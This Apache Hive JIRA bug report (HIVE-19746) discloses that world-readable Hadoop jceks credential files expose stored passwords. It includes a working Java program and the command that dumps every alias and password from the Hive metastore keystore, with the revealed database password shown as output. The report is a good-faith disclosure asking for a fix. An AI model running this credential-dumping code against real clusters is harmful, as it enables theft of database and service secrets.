             Summary: Hadoop credential provider allows to read passwords
                 Key: HIVE-19746
                 URL: https://issues.apache.org/jira/browse/HIVE-19746
             Project: Hive
          Issue Type: Bug
            Reporter: Oleksiy Sayankin
            Assignee: Oleksiy Sayankin


This simple program allows to read any password from any {{jceks}} file:

{code}
package com.test.app;

import java.util.List;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.security.alias.CredentialProvider;
import org.apache.hadoop.security.alias.CredentialProviderFactory;

import java.io.IOException;

public class PasswordReader {
  public static void main(String[] args) throws IOException {
    if (args == null || args.length == 0){
      throw new IllegalArgumentException("Credential provider path is to set");
    }
    String credentialProviderPath = args[0];
    Configuration configuration = new Configuration();
    configuration.set(CredentialProviderFactory.CREDENTIAL_PROVIDER_PATH, 
credentialProviderPath);
    CredentialProvider credentialProvider = 
CredentialProviderFactory.getProviders(configuration).get(0);
    List<String> aliases = credentialProvider.getAliases();
    for(String alias : aliases){
      System.out.println(alias + " = " + new 
String(configuration.getPassword(alias)));
    }
  }
}
{code}

{code}
java -cp $(hadoop classpath):password-reader.jar com.test.app.PasswordReader  
jceks://hdfs/user/hive/hivemetastore.jceks
{code}

*RESULT*

{code}
javax.jdo.option.connectionpassword = 123456
{code}

File {{jceks://hdfs/user/hive/hivemetastore.jceks}} has {{\-rw\-r\-\-r\-\-}} 
permissions and {{hdfs:hdfs}} owner:group. We can't remove world readable 
permissions here, because Hive is configured for impersonation to allow users 
user than {{hdfs}} connect to HiveServer2. When removed world readable 
permissions I got the exception:

{code}

    at 
org.apache.hadoop.hive.metastore.ObjectStore.setConf(ObjectStore.java:279)
{code}

Any ideas how to protect passwords?
